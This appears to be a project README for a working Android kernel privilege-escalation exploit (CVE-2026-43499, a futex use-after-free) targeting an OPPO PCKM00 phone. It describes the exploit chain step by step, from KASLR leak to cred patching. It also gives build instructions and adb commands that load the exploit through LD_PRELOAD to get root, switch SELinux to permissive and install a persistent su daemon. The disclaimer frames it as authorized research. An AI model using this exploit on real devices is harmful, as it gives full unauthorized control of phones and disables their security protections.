
CVE-2026-43499 GhostLock futex UAF LPE PoC pour OPPO PCKM00 (SM6150) / Linux 4.14.180
CVE-2026-43499 (GhostLock) — PoC d'élévation de privilèges locale par use-after-free dans l'héritage de priorité futex du noyau Linux, porté sur l'OPPO PCKM00 (OP4A57, SM6150, Android 11, noyau 4.14.180-perf+).
DISCLAIMER / 免责声明 This project is for authorized security research and educational purposes only. Do not use it on any device you do not own or are not explicitly authorized to test. Running the exploit may crash the kernel. The author assumes no liability for any misuse or damage.
本项目仅用于授权的安全研究与教育目的。请勿在非本人所有或未获明确授权的设备上使用。运行利用可能导致内核崩溃,作者不承担任何滥用或损失的责任。
CVE-2026-43499 (GhostLock) est un use-after-free dans le code d'héritage de priorité futex du noyau Linux. Le bug réside dans la mauvaise utilisation de remove_waiter() dans le chemin de rollback du proxy-lock de rt_mutex_start_proxy_lock(). Le rt_mutex_waiter libéré (alloué sur la pile du noyau) est réinterprété comme un fd_set contrôlé par l'attaquant, copié par pselect(), ce qui fournit une primitive d'écriture arbitraire.
Plage affectée : Linux 4.x–6.x (introduit en 2011). La série 4.14 est entièrement affectée. Voir report.md pour l'analyse complète et les offsets de symboles vérifiés.
futex requeue-pi UAF
└─> pselect fd_set stack copy (fake rt_mutex_waiter / fake task)
└─> arbitrary write (rt_mutex tree ops / sched_setattr)
└─> overwrite ashmem_fops -> configfs bin read/write
└─> pipe_buffer page rewrite (physical RW primitive)
└─> patch current task cred -> root
Le PoC s'exécute entièrement en espace utilisateur via LD_PRELOAD — aucun redémarrage de l'appareil n'est nécessaire (sauf si le noyau panique).
| Champ | Valeur |
|---|---|
| Appareil | OPPO PCKM00 / OP4A57 |
| SoC | Qualcomm SM6150 |
| Android | 11 (RKQ1.200903.002) |
| Correctif sécu | 2022-09-05 |
| Noyau | 4.14.180-perf+ (arm64, clang 10.0.7) |
| Build | OPPO/PCKM00/PCKM00:11/RKQ1.200903.002/1635513065:user/release-keys |
Portage vers d'autres appareils 4.14 : copiez
exploit/targets/oppo-pckm00/target.het régénérez les offsets de symboles depuis votre image de noyau (voiranalysis/).
.
├── report.md # Full vulnerability analysis & verified offsets
├── exploit/
│ ├── Makefile # Build preload.so (Windows NDK / WSL)
│ ├── src/
│ │ ├── preload.c # LD_PRELOAD entry + forced disk logging + su
│ │ ├── main.c # Orchestration (waiter/owner/consumer threads)
│ │ ├── slide.c # KASLR leak (boot_id / nfulnl loggers)
│ │ ├── fops.c # ashmem_fops overwrite + configfs primitive
│ │ ├── pipe.c # pipe_buffer physrw primitive
│ │ ├── root.c # task walk + cred patch + seccomp/selinux
│ │ ├── util.c # kernelsnitch, skb page prep, kernel RW
│ │ ├── su_daemon.c # embedded su server (drop-in)
│ │ ├── su_blob.S # .incbin of su_daemon
│ │ └── wallpaper_blob.S # .incbin of wallpaper payload
│ ├── targets/oppo-pckm00/target.h # 4.14.180 symbol/struct offsets
│ └── assets/wallpaper.webp # embedded wallpaper payload
├── analysis/ # kernel image / kallsyms extraction scripts
└── LICENSE # Apache-2.0 (same as upstream GhostLock)
Nécessite Android NDK r29 (aarch64-linux-android30-clang).
set NDK=C:\path\to\android-ndk-r29
make NDK=%NDK%
# put NDK at /opt/ndk/android-ndk-r29 (linux-x86_64 toolchain)
cd exploit
make wsl
# or directly:
bash ../analysis/build_preload.sh
Sortie : exploit/preload.so (objet partagé ELF aarch64 64 bits).
La compilation compile également su_daemon.c en binaire PIE et l'intègre (ainsi que le fond d'écran) dans le .so via les blobs .S.
# binary only (works from a release asset or a local build)
adb push preload.so /data/local/tmp/preload.so
# or with the repo layout
adb push exploit/preload.so /data/local/tmp/preload.so
adb shell chmod 755 /data/local/tmp/preload.so
Le .so est chargé dans le processus sh via LD_PRELOAD ; son constructeur exécute toute la chaîne d'exploitation et rapporte le résultat :
adb shell LD_PRELOAD=/data/local/tmp/preload.so id
En cas de succès, le shell rapporte :
uid=0(root) gid=0(root) ...
[+] ROOT OK pid=<pid> uid=0
Le processus courant (et ses enfants) est désormais root. Un démon su est installé dans /apex/com.android.virt/bin/su (avec repli sur /data/local/tmp/su) et un fond d'écran intégré est appliqué comme artefact de persistance/vérification.
# from a new shell after the run
adb shell su -c 'id'
# or grab a root shell session (interactive su client)
adb shell /data/local/tmp/su
# check SELinux was toggled permissive (if the selinux path was hit)
adb shell getenforce
Tous les diagnostics pr_* sont également écrits dans
/sdcard/Download/log_<timestamp>.txt (avec repli sur
/data/local/tmp/log_<timestamp>.txt), avec O_SYNC + fsync() à chaque
ligne afin que les journaux survivent à un panic du noyau / redémarrage :
adb pull /sdcard/Download/log_*.txt
# or if /sdcard is not mounted early
adb pull /data/local/tmp/log_*.txt
adb shell cat /sdcard/Download/log_*.txt
Le journal montre chaque étape (slide KASLR, écrasement fops, physrw pipe, patch cred) et la ligne finale uid_after / ROOT OK — joignez-le lors du signalement d'un problème.
adb shell rm -f /data/local/tmp/preload.so /data/local/tmp/log_*.txt
adb shell rm -f /data/local/tmp/su /data/local/tmp/temp_su.sock /data/local/tmp/su_daemon.log
adb reboot # if SELinux/cred state or the wallpaper was modified
Remarque : l'exécution de l'exploit peut faire planter le noyau. Si
adbse déconnecte, attendez le redémarrage de l'appareil, puis récupérez/sdcard/Download/log_*.txt— la journalisation forcéeO_SYNC/fsyncest précisément ce qui survit au panic.
boot_id/nfulnl
(slide.c) plus une passe de vérification ashmem_fops (fops.c)..read/.write hérités (pas de read_iter/write_iter),ashmem_fops n'a pas de show_fdinfo,generic_file_splice_read remplace copy_splice_read,selinux_enforcing réside dans struct selinux_state,rt_mutex_waiter / pipe_inode_info / cred de 4.14.task_struct.seccomp) sont au mieux ; l'échec du patch seccomp ne bloque pas le root par écrasement de cred.IonStack/CVE-2026-43499), Apache-2.0.
https://github.com/NebuSec/CyberMeowfiaApache-2.0 — voir LICENSE.